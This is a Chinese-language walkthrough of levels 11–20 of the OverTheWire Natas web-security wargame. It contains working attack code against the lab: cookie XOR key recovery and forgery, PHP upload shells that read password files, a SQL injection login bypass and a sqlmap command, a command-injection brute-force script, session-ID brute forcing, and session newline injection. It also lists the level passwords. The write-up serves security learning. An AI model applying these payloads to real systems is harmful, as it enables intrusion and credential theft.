接上一篇Natas通关指南(1-10) 继续闯关

OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0natas1读取。

网站:

http://overthewire.org/wargames/natas/

Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap

Level 11-12

Username: natas11 Password: natas11 URL: http://natas11.natas.labs.overthewire.org

首先使用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登录natas11,得到一句提示:

Cookies are protected with XOR encryption

还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>

从代码可以看出,通过一些列的编码,包括 base64加密, php异或运算。把用户输入的数据编码进 cookie里面。通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword这个参数决定了我们是否能看到下一关密码。代码中有个 censoredkey,这个是 php用来做异或运算加密用到的 key,我们需要先算出这 key值,然后用这个值作为 key进行运算和一些列编码,计算出新的 cookie传入,即可得到下一关的密码。

key值计算:

<?php
 $orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');  
 function xor_encrypt($in) {  
   $text = $in;  
   $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));  
   $out = '';  
   for($i=0;$i<strlen($text);$i++) {  
   $out .= $text[$i] ^ $key[$i % strlen($key)];  
   }  
   return $out;  
 }  
 echo xor_encrypt($orig_cookie);
 ?>

得到的结果是 qw8J

计算新的Cookie:

<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $out = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $out .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $out;
}
function loadData($def) {
    $mydata = $def;
    $tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
    return $mydata;
}
echo  base64_encode(xor_encrypt(json_encode(loadData($defaultdata)))) 
?>

结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,传入新的Cookie:

curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
HTTP/1.1 200 OK
Date: Mon, 27 Aug 2018 13:40:47 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
......
Cookies are protected with XOR encryption<br/><br/>
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3<br>
......

得到密码。

Level 12-13

Username: natas12 URL: http://natas12.natas.labs.overthewire.org

登录natas12,可以看到是一个上传文件功能:

Choose a JPEG to upload (max 1KB):

提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:

<?  
function genRandomString() { 
    $length = 10; 
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
    $string = "";     
    for ($p = 0; $p < $length; $p++) { 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 
    return $string; 
} 
function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 
function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 
if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?> 
<form enctype="multipart/form-data" action="index.php" method="POST"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
Choose a JPEG to upload (max 1KB):<br/> 
<input name="uploadedfile" type="file" /><br /> 
<input type="submit" value="Upload File" />

通过阅读代码,可以发现除了限制文件大小和文件扩展名做了前端限制之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 BurpSuite之类的工具修改上传的 filename后缀即可。

///getpass.php
<?php
$getpass = file_get_contents('/etc/natas_webpass/natas13');
echo $getpass;
?>

得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13-14

Username: natas13 URL: http://natas13.natas.labs.overthewire.org

页面和前一关一样,不过查看源代码发现这一次限制了文件类型,通过 php的函数 exif_imagetype() 来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。关键代码如下:

} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
        echo "File is not an image"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else {

那我们只需在上传的 php文件中加入任意图片格式文件头标识即可,比如 GIF98a

GIF89a
<?php
$getpass = file_get_contents('/etc/natas_webpass/natas14');
echo $getpass;
?>

上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 14-15

Username: natas14 URL: http://natas14.natas.labs.overthewire.org

访问后,是一个登录页面,需要输入 usernamepassword,查看代码,关键代码:

<? 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas14', '<censored>'); 
    mysql_select_db('natas14', $link); 
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 
    if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
            echo "Successful login! The password for natas15 is <censored><br>"; 
    } else { 
            echo "Access denied!<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " OR 1=1 #

注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Level 15-16

Username: natas15 URL: http://natas15.natas.labs.overthewire.org

页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:

<h1>natas15</h1> 
<div id="content"> 
<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link); 
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 
    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。这里我们直接用 sqlmap好了。

sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Level 16-17

Username: natas16 URL: http://natas16.natas.labs.overthewire.org

这一关和第9关,第10关很像,不过过滤了更多的字符

页面提示 Forsecurity reasons,we now filter even more on certain characters,页面功能是 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。关键代码如下:

$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

虽然过滤了很多字符,但是没有过滤 $()。我们知道PHP里的 $()即使在引号内也可以使用,所以我们可以构造注入语言 $(grep a/etc/natas_webpass/natas17),执行的语句是这样的: passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");所有的单词都被返回了。 我们知道 dictionary.txt中存在字符串,比如说 A,用它与 $(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的 grep会返回结果 。 比如说:如 password中首字母为 a,构成

grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由于内部的 $()命令返回了 a,则使外层命令变为

grep-I"aA"dictionary.txt由于 dictionary中没有 aA,从而返回空值 而如果内层 $()命令返回空值,外层则能正确检索到 A,于是返回值,证明首字母不是 a

按照这个原理可以构造出爆破脚本

import requests
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
trueStr = 'Output:\n<pre>\n</pre>'
for x in chars:
        r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Getpass')
        if r.content.find(trueStr) != -1:
                exist += x
                print 'Using: ' + exist
for i in range(32):
        for c in exist:
                r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Getpass')
                if r.content.find(trueStr) != -1:
                        password += c
                        print 'Password: ' + password + '*' * int(32 - len(password))
                        break

得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Level 17-18

Username: natas17 URL: http://natas17.natas.labs.overthewire.org

natas15,不过没有错误提示,所以可以用基于时间的盲注。

得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 18-19

Username: natas18 URL: http://natas18.natas.labs.overthewire.org

提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.

同样有一个登录框,可以输入 usernamepassword。关键代码如下:

$maxid = 640; // 640 should be enough for everyone 
function isValidAdminLogin() { /* {{{ */ 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 
    return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
    return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
    global $maxid; 
    return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) { 
        debug("Session start failed"); 
        return false; 
    } else { 
        debug("Session start ok"); 
        if(!array_key_exists("admin", $_SESSION)) { 
        debug("Session was old: admin flag set"); 
        $_SESSION["admin"] = 0; // backwards compatible, secure 
        } 
        return true; 
    } 
    } 
    return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas19\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
    } 
} 
/* }}} */ 
$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  
if($showform) { 
?>

从代码上来看,没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。

所以我们只要穷举 maxid的值就好了。可以用 Burpsuite爆破这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

如果嫌 Burpsuite太麻烦,用 shell脚本也可轻松搞定

for i in `seq 640` 
do
    echo $i
    curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/  --cookie "PHPSESSID=$i" | grep natas19
done
Level 19-20

Username: natas19 URL: http://natas19.natas.labs.overthewire.org

提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一关一样,只不过 PHPSESSID不再那么简单容易猜到而已。

通过观察,发现其 PHPSESSID,虽然一长串字符串,如 3237362d61646d696e,通过16进制解码发现,都是由 3位数字-admin组成的,也就是说后面的 2d61646d696e是不变的。所以我们只需要穷举 1-640之间的数字然后拼接 -admin做16进制转换,再带入 PHPSESSID中进行提交,就能找到那个属于 adminPHPSESSID。最后得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Level 20-21

Username: natas20 URL: http://natas20.natas.labs.overthewire.org

登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以输入 Yourname,然后点 Changename,不过无论你输入什么页面都没有任何信息反馈给你。查看源码,关键代码如下:

<? 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 
/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 
/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 
function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 
function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 
/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 
session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 
if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 
print_credentials(); 
$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 
?>

我们来看看每个函数的作用:

debug($msg)表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg

访问之后将看到一些提示,类似这样的:

DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1
DEBUG: name => admin

可以看出,登录之后, $ _SESSION的值被存储在一个文件中。

重点在 mywritemyread这两个关键函数,它们的作用是管理会话状态。

默认情况下, $ _SESSION中唯一的 keyname,其值通过 /index.php中的表单提交进行设置。我们可以通过对 name键值对进行注入:将 data里面的值变为: name xxxx \n admin1\n

对换行符编码然后提交:

http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1

再次访问 http://natas20.natas.labs.overthewire.org即可得到密码

You are an admin. The credentials for the next level are:
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

未完待续......

Natas通关指南(11-20)_mysql

Natas通关指南(11-20)_json_02